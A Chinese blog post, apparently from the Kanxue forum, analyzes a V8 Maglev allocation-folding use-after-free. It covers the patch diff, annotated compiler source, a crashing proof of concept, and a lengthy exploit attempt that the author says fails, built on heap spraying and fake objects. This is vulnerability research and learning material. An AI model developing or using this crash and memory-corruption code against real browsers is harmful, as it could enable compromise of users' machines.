前言
本文首发于看雪论坛:https://bbs.kanxue.com/thread-281445.htm#msg_header_h1_4
这个漏洞发生在 MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct
函数中,考虑之前分析的 CVE-2023-4069
也是发生在该函数中,所以打算把该漏洞也分析了。该漏洞主要发生在折叠分配时,未考虑内存空间分配与初始化之间的操作可能导致触发 gc
,从而导致 UAF
环境搭建
git checkout d8fd81812d5a4c5c3449673b6a803279c4bdb2f2
gclient sync -D
漏洞分析
还是从 patch 入手:
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index ad7eccf..3dd3df5 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5597,6 +5597,7 @@
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
+ ClearCurrentRawAllocation();
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
可以看到补丁代码非常简单,就是添加了个 ClearCurrentRawAllocation
函数:
void MaglevGraphBuilder::ClearCurrentRawAllocation() {
current_raw_allocation_ = nullptr;
}
该函数的功能为将 current_raw_allocation_
指针清空
这里补丁代码打在了 TryBuildFindNonDefaultConstructorOrConstruct
函数中,其上层调用链为:
VisitFindNonDefaultConstructorOrConstruct
TryBuildFindNonDefaultConstructorOrConstruct
而 VisitFindNonDefaultConstructorOrConstruct
其实我们在之前分析 CVE-2023-4069
时就详细分析过,其主要就是处理 FindNonDefaultConstructorOrConstruct
节点的,但是这里还是放一下代码分析吧:
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0); // target
ValueNode* new_target = LoadRegisterTagged(1); // new_target
auto register_pair = iterator_.GetRegisterPairOperand(2);
// 先调用 TryBuildFindNonDefaultConstructorOrConstruct
if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target, register_pair)) {
return;
}
// 失败则调用 Builtin_FindNonDefaultConstructorOrConstruct
CallBuiltin* result =
BuildCallBuiltin<Builtin::kFindNonDefaultConstructorOrConstruct>({this_function, new_target});
StoreRegisterPair(register_pair, result);
}
这里会先调用 TryBuildFindNonDefaultConstructorOrConstruct
尝试进行图创建:
bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
ValueNode* this_function, ValueNode* new_target,
std::pair<interpreter::Register, interpreter::Register> result) {
// See also:
// JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct
// 【1】获取 target constant
compiler::OptionalHeapObjectRef maybe_constant = TryGetConstant(this_function);
if (!maybe_constant) return false;
// 获取 map 和原型链上的对象
compiler::MapRef function_map = maybe_constant->map(broker());
compiler::HeapObjectRef current = function_map.prototype(broker());
// TODO(v8:13091): Don't produce incomplete stack traces when debug is active.
// We already deopt when a breakpoint is set. But it would be even nicer to
// avoid producting incomplete stack traces when when debug is active, even if
// there are no breakpoints - then a user inspecting stack traces via Dev
// Tools would always see the full stack trace.
// 遍历原型链
while (true) {
// 遍历 __proto__
// 如果原型对象不是 JSFunction,则遍历结束
if (!current.IsJSFunction()) return false;
// 当前原型对象 current_function
compiler::JSFunctionRef current_function = current.AsJSFunction();
// If there are class fields, bail out. TODO(v8:13091): Handle them here.
if (current_function.shared(broker()).requires_instance_members_initializer()) {
return false;
}
// If there are private methods, bail out. TODO(v8:13091): Handle them here.
if (current_function.context(broker()).scope_info(broker()).ClassScopeHasPrivateBrand()) {
return false;
}
// 获取函数类型 kind
FunctionKind kind = current_function.shared(broker()).kind();
// 如果是派生默认构造函数,则直接跳过
if (kind != FunctionKind::kDefaultDerivedConstructor) {
// The hierarchy walk will end here; this is the last change to bail out
// before creating new nodes.
if (!broker()->dependencies()->DependOnArrayIteratorProtector()) {
return false;
}
// 【2】获取 new_target constant
compiler::OptionalHeapObjectRef new_target_function = TryGetConstant(new_target);
// 如果是顶层默认构造函数,则进行相关处理
if (kind == FunctionKind::kDefaultBaseConstructor) {
// Store the result register first, so that a lazy deopt in
// `FastNewObject` writes `true` to this register.
StoreRegister(result.first, GetBooleanConstant(true));
ValueNode* object;
// new_target_function 存在且是 JSFunction
// 并且 new_target_function 具有一个有效的 initial_map
// 即 initial_map.constructor ==? target
if (new_target_function && new_target_function->IsJSFunction() &&
HasValidInitialMap(new_target_function->AsJSFunction(), current_function)) {
//【3】为对象分配空间
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>({GetConstant(current_function), new_target});
// We've already stored "true" into result.first, so a deopt here just
// has to store result.second. Also mark result.first as being used,
// since the lazy deopt frame won't have marked it since it used to be
// a result register.
current_interpreter_frame_.get(result.first)->add_use();
object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
}
StoreRegister(result.second, object);
} else {
StoreRegister(result.first, GetBooleanConstant(false));
StoreRegister(result.second, GetConstant(current));
}
broker()->dependencies()->DependOnStablePrototypeChain(
function_map, WhereToStart::kStartAtReceiver, current_function);
return true;
}
// Keep walking up the class tree.
// 遍历下一个 __proto__
current = current_function.map(broker()).prototype(broker());
}
}
可以看到这里我们可以将其分为快速路径和慢速路径,快速路径主要就是利用 new_target.initial
直接进行对象创建,慢速路径则退回到内建函数 FastNewObject
,这里我们主要看快速路径,快速路径为 【1】->【2】->【3】
,而 【3】
也是漏洞代码所在处,所以需要满足以下条件:
- 1、
TryGetConstant(this_function)
- 2、
TryGetConstant(new_target)
- 3、
new_target.initial.constructor === target
这里想要到达想要到达漏洞逻辑,得绕过这三个判断,前面两个还是之前的方式插入 CheckValue
节点绕过,第三个就不多说了,new_target
是派生构造函数即可,或者顶层默认构造函数也🆗,比较简单
最后为分配对象的语句如下,也是漏洞代码所在处:
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
然后跟进 BuildAllocateFastObject
,看其是如何创建对象的:
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(FastObject object, AllocationType allocation_type) {
SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());
for (int i = 0; i < object.inobject_properties; ++i) {
// MaglevGraphBuilder::BuildAllocateFastObject(FastField value, AllocationType allocation_type)
properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type);
}
// elements
// MaglevGraphBuilder::BuildAllocateFastObject(FastFixedArray value, AllocationType allocation_type)
ValueNode* elements = BuildAllocateFastObject(object.elements, allocation_type);
DCHECK(object.map.IsJSObjectMap());
// TODO(leszeks): Fold allocations. 尝试折叠分配,allocation 就是分配空间的指针
ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(object.instance_size, allocation_type);
// 设置对象的 map,主要就是添加一个 StoreMap 节点
BuildStoreReceiverMap(allocation, object.map);
// 设置 Properties 为 EmptyFixedArray,添加 StoreTaggedFieldNoWriteBarrier 节点
AddNewNode<StoreTaggedFieldNoWriteBarrier>(
{allocation, GetRootConstant(RootIndex::kEmptyFixedArray)}, JSObject::kPropertiesOrHashOffset);
if (object.js_array_length.has_value()) {
// 如果 js_array_length 有值,则初始化 length
// 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点
BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length), JSArray::kLengthOffset);
}
// 设置 Elements
// 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点
BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
// 设置属性
for (int i = 0; i < object.inobject_properties; ++i) {
BuildStoreTaggedField(allocation, properties[i], object.map.GetInObjectPropertyOffset(i));
}
return allocation;
}
这里可以看到分配空间调用了 ExtendOrReallocateCurrentRawAllocation
函数,其会尝试折叠分配:
ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
int size, AllocationType allocation_type) {
// 【1】
if (!current_raw_allocation_ || // current_raw_allocation_ 为空
current_raw_allocation_->allocation_type() != allocation_type || // 分配类型不一致
!v8_flags.inline_new) // 头一次分配
{
// 分配 size 空间,节点为 AllocateRaw
current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
return current_raw_allocation_;
}
// 如果上面三个条件都不满足,则会走到这里
// 即 current_raw_allocation_ 不为空,且分配类型一致,且不是头一次分配
int current_size = current_raw_allocation_->size();
// 【2】检查是否可以折叠分配
// 如果折叠分配后空间太大,则单独分配,并更新 current_raw_allocation_
if (current_size + size > kMaxRegularHeapObjectSize) {
return current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
}
// 【3】折叠分配,current_size 应当大于 0
DCHECK_GT(current_size, 0);
int previous_end = current_size; // previous_end 即当前对象的起始位置
current_raw_allocation_->extend(size); // 扩展当前分配空间
// FoldedAllocation 节点,这里只记录 current_raw_allocation_ / previous_end 即可
// 该对象的位置为:current_raw_allocation_ + previous_end
return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}
先来说下什么是折叠分配?顾名思义,当我们在进行内存分配时,可能每次分配一小块内存,比如下面场景:
ptr1 = malloc(0x10)
do something1
prt2 = malloc(0x20)
do something2
而多次分配内存可能是一个比较耗时的行为,于是编译器在静态分析阶段,会尝试进行分配折叠优化:
prt1 = current_raw_allocation_ = malloc(0x30)
prt2 = current_raw_allocation_ + 0x10
do something1
do something2
这里就避免了多次内存分配,但在动态类型语言中,可能会出现一些问题,比如在 JavaScript
中,内存是由 gc
进行管理的,在 V8
中,没有被 root object
直接或间接引用的对象被标记为死对象,在触发 gc
时会被回收。所以考虑如下场景:
var obj1 = AllocateRaw(0x10);
do something1 ==> trigger gc
var obj2 = AllocateRaw(0x20);
do something2 ==> use obj2
而如果此时发生分配折叠优化:
var obj1 = AllocateRaw(0x30) = current_raw_allocation_
var obj2 = current_raw_allocation_ + 0x10
do something1 ==> trigger gc
init obj2
do something2 ==> use obj2
这里的问题就是在分配完空间后,只对 obj1
的部分进行了初始化,而 obj2
的初始化则是在后面,那么如果在初始化 obj2
之前触发了 gc
,那么此时 current_raw_allocation_+0x10
这后面的内存就会被回收掉,如果我们此时分配对象占据这块内存,后面 do something2
时,仍然使用 current_raw_allocation_+0x10
,则导致 UAF
让我们会到该漏洞分析中,通过上面的分析我们可以知道:
- 在创建
this
对象时,保留了current_raw_allocation_
指针,所以如果后面存在内存分配,则可能发生分配折叠
poc
如下:
class A {}
class B extends A {
constructor() {
const check = new new.target;
super();
%DebugPrint(this);
let g = new Array(0x1000).fill(2.2); // 触发 gc
let o = [1.1,1.1,1.1,1.1,1.1,1.1]; // 会与 this 创建进行合并
}
}
for (let i = 0; i < 0x1000; i++) {
Reflect.construct(B, [], A);
}
这里先来看下 Maglev IR
:
调试分析下:
this
对象的地址为 0x2bca002ba4d5
,instance_size = 12
,与 Maglev IR
图是吻合的:
然后程序就 crash
了:
从调用栈中的函数名称可以知道,明显触发了 gc
,而这里 rsi
的值为一个 ---
地址,所以发生内存访问错误。这里我们来看下 this
对象下方的内存:
这里我们换个角度看:0x2bca002ba4d5-1 = this_addr
==> o_addr = this_addr+12
看到这里其实就明白了,最开始分配了 84 字节的空间,减去 this
对象占据的头 12 字节的空间,还剩下 72 字节的空间,这 72 字节其实就是包含了 o
对象本身的空间和其 elements
占据的空间
而这段空间在 o
对象初始化之前在 gc
的过程中被释放了,然后又被其它对象占据了,所以在 o
初始化这段空间时就发生了 UAF
,即把其它对象内容给覆盖了,所以后面的 rsi
为 0x2bca3ff19999 = 0x2bca00000000 + 0x3ff19999
,这里的 0x3ff19999
就是 1.1
的头 4 字节
漏洞利用【todo
】
嗯,,,笔者感觉这个漏洞想要稳定利用还是比较困难的,因为我们无法精准控制 gc
,并且也无法精确控制释放后的内存被哪个对象占据。后面看看别人的 expliot
吧,主要是这里的 gc
搞得我很烦,还是太菜了~~~
========================================= 后续 ================================
写利用写了两天,但是还是没写出来,gc
后似乎拿不到指定的内存,主要是 victim
始终在 this
对象的上方,不知道为啥,看参考文章说其应该在下方~~~太菜了,然后不想在继续浪费时间了,后面有灵感了在回来写利用,暂时留个坑
失败的 exploit
:
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;
function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}
function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}
function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}
function set_u64(val) {
u64[0] = val;
}
function set_l(l) {
u32[0] = l;
}
function set_h(h) {
u32[1] = h;
}
function get_l() {
return u32[0];
}
function get_h() {
return u32[1];
}
function get_u64() {
return u64[0];
}
function get_f64() {
return f64[0];
}
function get_fl(val) {
f64[0] = val;
return u32[0];
}
function get_fh(val) {
f64[0] = val;
return u32[1];
}
function add_ref(obj) {
roots[index++] = obj;
}
var gc_flag= false;
function major_gc() {
if (gc_flag) {
new ArrayBuffer(0x7fe00000);
return 0;
}
return 1;
}
function minor_gc() {
if (gc_flag) {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
return 2;
}
return 1;
}
function hexx(str, val) {
console.log(str+": 0x"+val.toString(16));
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
var spray_array = new Array(0xf700).fill(1.1);
var element_start_addr = 0x00442139;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;
var element_map_addr = fake_object_addr + 0x200;
//0x3204040400183c39 0x0a0007ff11000842
spray_array[(map_addr - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, 0x32040404); // 这里也可以直接照抄
spray_array[(map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);
/*
0x61000000000004c5
0x004003ff0c0000b1
0x0000007d0000007d
0x000006dd00000701
0x0000000000000000
*/
spray_array[(element_map_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x61000000000004c5n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x004003ff0c0000b1n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 2] = u64_to_f64(0x0000007d0000007dn);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x000006dd00000701n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000000n);
/*
0x000100010000062d
0x000006f500000000
0x0000018400002b29
0x0000000000000002
*/
/*
var descriptors_addr = element_map_addr + 0x100;
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x000100010000062dn);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x000006f500000000n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 2] = pair_u32_to_f64(descriptors_addr+0x28, 0x00000184);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000002n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 4] = u64_to_f64(0x0000000000000000n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 5] = u64_to_f64(0x0000000000000070n);
*/
/*
0xd6d6d7e2000003d5
0x0000006f00000001
*/
var str_addr = element_map_addr + 0x100;
spray_array[(str_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0xd6d6d7e2000003d5n);
spray_array[(str_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0000007000000001n);
print("fake_object_addr:", pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1));
hexx("fake_object_addr", fake_object_addr+1);
hexx("element_map_addr", element_map_addr+1);
//hexx("descriptors_addr", descriptors_addr+1);
//print("TEST:", pair_u32_to_f64(0x41414141, 0x41414141));
//var nnn = pair_u32_to_f64(0x41414141, 0x41414141);
var header = pair_u32_to_f64(element_map_addr+1, 0x40);
//var X = pair_u32_to_f64(descriptors_addr+0x28+1, descriptors_addr+0x28+1);
var X = pair_u32_to_f64(str_addr+1, 1);
var nnn = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var debug = false;
var empty_object = {};
class A {}
class B extends A {
constructor() {
const check = new new.target;
let v = [
empty_object,empty_object,empty_object,empty_object,
empty_object,empty_object,empty_object,empty_object,
];
super();
let o = [
header, header, header, header,
X,X,X,X,X,X,X,X,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
header, header, header, header,
];
this.o = o;
this.v = v;
}
[100] = major_gc();
}
for (let i = 0; i < 200; i++) {
if (i % 2 == 0) gc_flag = true;
major_gc();
gc_flag = false;
}
var w = null;
const N = 640;
const M = 644;
const S = 650;
var block = null;
for (let i = 0; i < S; i++) {
gc_flag = false;
if (i == N || (M < i && i < M+4)) {
gc_flag = true;
major_gc();
gc_flag = false;
}
if (i == M+3) {
gc_flag = true;
// major_gc();
// major_gc();
// major_gc();
// let tmp1 = { o:{}, v:{} };
// block = [1.1, 1.1, 1.1, 1.1, 1.1];
// let tmp2 = [
// empty_object,empty_object,empty_object,empty_object,
// empty_object,empty_object,empty_object,empty_object,
// ];
// minor_gc();
// %DebugPrint(tmp1);
// %DebugPrint(block);
// %DebugPrint(tmp2);
}
let r = Reflect.construct(B, [], A);
if (i == M+3) w = r;
}
/*
print("================ w ======================");
%DebugPrint(w);
print("================ w.o ====================");
%DebugPrint(w.o);
print("================ w.v ====================");
%DebugPrint(w.v);
print("=========================================");
*/
try {
print(w.v[0]);
} catch (m) {
%DebugPrint(w['p']);
%DebugPrint(w);
}
print("END");
如有读者能够写出稳定的利用,希望不吝赐教
总结
通过分析该漏洞,学习到了分配折叠优化,目前已经通过复现漏洞学习了编译的如下常见优化方式:
- 常量折叠
- 公共子表达式消除
- 数组边界检查消除
- 逃逸分析
- 分配折叠
总的来说还是不错的,弥补了自己对编译器知识的匮乏,希望后面能够学到更多有趣的编译器漏洞
参考
Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution